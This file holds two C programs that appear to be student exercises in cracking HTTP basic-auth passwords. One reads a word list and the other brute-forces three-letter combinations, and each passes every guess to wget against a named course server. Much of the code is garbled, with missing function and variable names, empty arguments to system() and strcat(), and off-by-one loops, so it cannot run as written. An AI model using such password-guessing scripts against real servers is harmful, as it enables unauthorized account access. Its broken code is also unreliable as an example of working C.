#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<strings.h>
#include <ctype.h>
#include <math.h>
#include <sys/time.h>

int
()
{

	int        , end;
	FILE           *fp;
	int             i, j;
	char            input;
	char            password[30];
	int             check;

	float           total_time;
	int             number;
	 = time();


	if ((fp = fopen("words", "r")) == NULL) {
		fprintf(stderr, "Error : Failed  open words for .\n");
		return (EXIT_FAILURE);
	}
	while ((input = fgetc(fp)) != EOF) {
		j = 0;
		for (i = 0; i < 30; i++)
			password[i] = '\0';

		while(input != '\n' ) {

			password[j] = input;
			j++;
			input = fgetc(fp);
			
		
		}


		if (strlen(password) <= 3) {
			printf("%s\t",password);
			fflush(stdout);
			check = SysCall(password);
			if (check == 0) {
				getpid();
				end = time();
				total_time = (end - ) / 1e9;
				printf("\ntotal time_var = %f ", total_time);
				printf("\n\nAvg getpid() time_var = %f usec\n", total_time);
				printf("\navg time_var  %f / %d = %f\n", total_time, number, total_time / number);
				exit(0);
			}
		}

	}

	return (EXIT_SUCCESS);
}
int
SysCall(char *password)
{
	char            url1[255], url2[255], [255];
	int             rettype;
	rettype = 0;
	strcpy(url1, "wget --non-verbose --http-user= --http-passwd=");
	strcpy(url2, " http://sec-crack.cs.rmit.edu./SEC/2/index.php");

	strcat(, url1);
	strcat(, password);
	strcat(, url2);

	rettype = system();
	
	if (rettype == 0) {
		printf("Successfully retrieved password: %s\n", password);
		return 0;
	}
	strcpy(, "");
}

#include <strings.h>
#include <string.h>
#include <ctype.h>
#include<sys/time.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>



int ()
{
    int i,j,k,syst;
    char password[4],first[100],last[100];
    int count =0;     
    char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
     'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
    strcpy(first, "wget --http-user= --http-passwd=");
    strcpy(last, " http://sec-crack.cs.rmit.edu./SEC/2/");
    int Start_time,End_time,Total_time,average;  
    Start_time = time();
printf(" Time =%11dms\n", Start_time);
   for (i=0;i<=52;i++)
  {
   for (j=0;j<=52;j++)
   {
	for(k=0;k<=52;k++)
	  {
	      password[0] =  arr[i];
          password[1] =  arr[j];
          password[2] =  arr[k];
          password[3] =  '\0';
		  printf(" The  Combination of the password  tried %s \n" ,password);
     	  printf("*********\n" );
          strcat(first, password);
          strcat(first, last);
	  printf("\n executing %s\n", first);
          count++;
          syst = system(first);
         if (syst == 0)
       {
        printf(" Time =%11dms\n", Start_time);
		End_time = time();
		Total_time = (End_time - Start_time);
		Total_time /= 1000000000.0;
		printf("totaltime in Seconds=%lldsec\n", Total_time);
		printf("Total number of attempts %d" , count);
        printf("\nsuccess %d %s\n",syst,password);
            exit(1);
          }
	  strcpy(first, "");
	  strcpy(first, "wget --http-user= --http-passwd=");

	         }
  	}
   }
 }





